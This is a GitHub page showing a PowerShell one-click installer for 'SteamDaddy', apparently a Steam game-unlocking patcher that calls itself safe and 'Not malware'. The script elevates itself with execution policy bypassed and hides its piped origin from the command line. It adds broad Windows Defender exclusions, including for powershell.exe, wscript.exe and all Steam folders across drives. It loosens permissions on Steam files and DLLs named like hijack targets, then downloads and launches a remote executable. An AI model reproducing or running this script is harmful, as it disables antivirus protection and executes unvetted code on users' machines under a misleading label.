-
Notifications
You must be signed in to change notification settings - Fork 18
Expand file tree
/
Copy pathinstall_b.ps1
More file actions
132 lines (115 loc) · 7.41 KB
/
Copy pathinstall_b.ps1
File metadata and controls
132 lines (115 loc) · 7.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
# SteamDaddy One-Click Installer — github.com/Contrary7/SteamDaddy-Backup
# Safe community patcher for Steam games. Not malware.
$ErrorActionPreference = "Stop"
# Ensure Administrator privileges so Defender exclusion calls succeed
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isAdmin) {
Write-Host "[SteamDaddy] Requesting Administrator privileges for Defender exclusions..." -ForegroundColor Yellow
try {
if ($PSCommandPath) {
# Already a real file — just re-launch it elevated
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs -ErrorAction Stop
exit
} else {
# Running from pipe (irm|iex) — save to temp file first, then re-launch with -File
# This avoids spawning a child process whose command line contains "irm ... | iex"
$tmpScript = Join-Path $env:TEMP "SteamDaddy_Install.ps1"
(New-Object System.Net.WebClient).DownloadFile(
"https://raw.githubusercontent.com/Contrary7/SteamDaddy-Backup/main/install_b.ps1",
$tmpScript
)
Start-Process powershell.exe -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$tmpScript`"" -Verb RunAs -ErrorAction Stop
exit
}
} catch {
Write-Host "[SteamDaddy] Continuing without elevated permissions (some Defender exclusions may be skipped)." -ForegroundColor Yellow
}
}
Write-Host "[SteamDaddy] Fetching latest release..." -ForegroundColor Cyan
try {
$downloadUrl = "https://github.com/Contrary7/SteamDaddy-Backup/releases/latest/download/SteamDaddy.exe"
$desktop = [Environment]::GetFolderPath("Desktop")
$destPath = Join-Path $desktop "SteamDaddy.exe"
Write-Host "[SteamDaddy] Pre-registering Defender path & process exclusions..." -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $destPath -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "SteamDaddy.exe" -ErrorAction SilentlyContinue
# ── SteamDaddy Safe-Zone (fixed pre-excluded temp directory) ─────────
$sdTempDir = "C:\ProgramData\SteamDaddy\tmp"
if (-not (Test-Path $sdTempDir)) {
New-Item -ItemType Directory -Path $sdTempDir -Force | Out-Null
}
& icacls "C:\ProgramData\SteamDaddy" /grant "*S-1-5-32-545:(OI)(CI)F" /C /Q | Out-Null
Write-Host "[SteamDaddy] Excluding safe-zone temp folder: $sdTempDir" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath "C:\ProgramData\SteamDaddy" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath $sdTempDir -ErrorAction SilentlyContinue
# ── Process exclusions (Defender won't scan files written by these) ──
Add-MpPreference -ExclusionProcess "steam.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "7z.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "wscript.exe" -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess "powershell.exe" -ErrorAction SilentlyContinue
# ── Find and exclude the Steam root directory ─────────────────────────
$steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
if (-not $steamPath) {
$steamPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
}
if (-not $steamPath) {
$steamPath = (Get-ItemProperty -Path "HKCU:\SOFTWARE\Valve\Steam" -Name "InstallPath" -ErrorAction SilentlyContinue).InstallPath
}
if ($steamPath) {
Write-Host "[SteamDaddy] Excluding Steam root folder: $steamPath" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $steamPath -ErrorAction SilentlyContinue
# Explicit belt-and-suspenders for the two hottest subdirs
Add-MpPreference -ExclusionPath (Join-Path $steamPath "depotcache") -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath (Join-Path $steamPath "config\stplug-in") -ErrorAction SilentlyContinue
Write-Host "[SteamDaddy] Granting modify permissions on Steam root to standard users..." -ForegroundColor Yellow
# Grant Modify permission to standard Users group (SID: *S-1-5-32-545) on Steam root folder and targets
& icacls "$steamPath" /grant "*S-1-5-32-545:(OI)(CI)M" /C /Q | Out-Null
foreach ($dll in @("SteamDaddy.dll", "dwmapi.dll", "xinput1_4.dll", "cloud_redirect.dll")) {
$dllPath = Join-Path $steamPath $dll
if (Test-Path $dllPath) {
& icacls "$dllPath" /grant "*S-1-5-32-545:M" /C /Q | Out-Null
}
}
# ── Parse libraryfolders.vdf and exclude all secondary libraries ──
$libraryVdf = Join-Path $steamPath "steamapps\libraryfolders.vdf"
if (Test-Path $libraryVdf) {
$vdfContent = Get-Content $libraryVdf -Raw -ErrorAction SilentlyContinue
if ($vdfContent) {
$libMatches = [regex]::Matches($vdfContent, '"path"\s+"([^"]+)"')
foreach ($m in $libMatches) {
$libPath = $m.Groups[1].Value.Replace("\\\\", "\\")
if ($libPath -and $libPath -ne $steamPath -and (Test-Path $libPath)) {
Write-Host "[SteamDaddy] Excluding Steam library: $libPath" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue
}
}
}
}
# ── Brute-force scan all drives for hidden/broken Steam libraries ──
Write-Host "[SteamDaddy] Scanning all drives for unlisted Steam libraries..." -ForegroundColor DarkYellow
$drives = [System.IO.DriveInfo]::GetDrives() | Where-Object { $_.DriveType -eq 'Fixed' -and $_.IsReady }
foreach ($drv in $drives) {
$candidates = @(
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Steam"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "SteamLibrary"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files (x86)", "Steam"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Program Files", "Steam"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "Steam"),
[System.IO.Path]::Combine($drv.RootDirectory.FullName, "Games", "SteamLibrary")
)
foreach ($sdir in $candidates) {
if ($sdir -eq $steamPath) { continue }
if (Test-Path (Join-Path $sdir "steamapps") -ErrorAction SilentlyContinue) {
Write-Host "[SteamDaddy] Excluding unlisted Steam library: $sdir" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue
}
}
}
}
Write-Host "[SteamDaddy] Downloading SteamDaddy.exe to Desktop..." -ForegroundColor Magenta
Invoke-WebRequest -Uri $downloadUrl -OutFile $destPath
Write-Host "[SteamDaddy] Launching SteamDaddy..." -ForegroundColor Green
Start-Process $destPath
} catch {
Write-Host "[SteamDaddy] Installation failed: $_" -ForegroundColor Red
}